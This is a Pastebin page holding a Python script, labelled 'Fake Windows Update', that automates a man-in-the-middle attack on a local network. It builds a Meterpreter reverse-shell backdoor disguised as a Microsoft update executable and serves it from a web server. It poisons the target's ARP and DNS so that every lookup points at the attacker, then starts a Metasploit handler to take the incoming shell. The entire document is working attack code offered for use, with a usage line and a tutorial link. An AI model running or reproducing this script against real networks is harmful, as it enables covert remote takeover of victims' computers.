Advertisement
tejash1991

Fake Windows Update Python Script

Nov 22nd, 2012
907
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.21 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import os
  4. import sys
  5. import subprocess
  6. import re
  7. from time import sleep
  8.  
  9. if os.getuid() != 0:
  10.   print 'requires root privileges.'
  11.   sys.exit(1)
  12.  
  13. def usage():
  14.   if len(sys.argv) != 6:
  15.     print 'Usage: ./fakeupdate.py [INTERFACE] [RHOST] [LHOST] [GATEWAY] [LPORT]'
  16.     print 'EX)    ./fakeupdate.py eth0 192.168.1.50 192.168.1.49 192.168.1.1 4444'
  17.     sys.exit(1)
  18. usage()
  19. print """
  20.  *********************************************************************
  21.  \tFAKE WINDOWS UPDATE PYTHON SCRIPT\t
  22.  \tWRITTEN BY : TEJASH PATEL\t
  23.  \tFACEBOOK : https://www.facebook.com/tejash1991\t
  24.  \tYOUTUBE CHANNEL : https://www.youtube.com/user/tejash1991\t
  25.  \tHOW 2 USE SCRIPT  : https://www.youtube.com/watch?v=hhIcAMHm0WA\t
  26.  *********************************************************************
  27. """
  28. INTERFACE = sys.argv[1]
  29. RHOST = sys.argv[2]
  30. LHOST = sys.argv[3]
  31. GATEWAY = sys.argv[4]
  32. LPORT = sys.argv[5]
  33. print 'Starting web server'
  34. apacheserver = subprocess.Popen('/etc/init.d/apache2 start',shell=True).wait()
  35. print 'Create Backdoor Using Msfpayload'
  36. msfbackdoor = subprocess.Popen('msfpayload windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s X >/var/www/Microsoft-KB17112012.exe' %(LHOST,LPORT),shell=True).wait()
  37. try:
  38.     my_dnsspoofing = open('/tmp/dnsspoofing.dns' , 'w')
  39.     my_dnsspoofing.write("%s *" %LHOST)
  40.     my_dnsspoofing.close()
  41. except IOerror:
  42.     print 'Error in Writing in the File'
  43. else:
  44.     print 'starting Dnsspoofing'
  45.     dnsspoof = 'xterm -e dnsspoof -i %s -f /tmp/dnsspoofing.dns &' %INTERFACE
  46.     os.system(dnsspoof)
  47.     sleep(1)
  48. print 'start Arpspoof'
  49. arpspoofing = 'xterm -e arpspoof -i %s -t %s %s &' %(INTERFACE,RHOST,LHOST)
  50. os.system(arpspoofing)
  51. sleep(2)
  52. print 'Starting Metasploit Framework'
  53. #Metasploit = 'xterm -e msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s #E &' %(LHOST,LPORT)
  54. #os.system(Metasploit)
  55. #sleep(3)
  56. metasploit = subprocess.Popen('msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s E' %(LHOST,LPORT),shell=True).wait()
  57. subprocess.Popen('rm -f /tmp/dnsspoofing.dns > /dev/null', shell=True).wait()
  58. subprocess.Popen('rm -f /var/www/Microsoft-KB17112012.exe > /dev/null', shell=True).wait()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement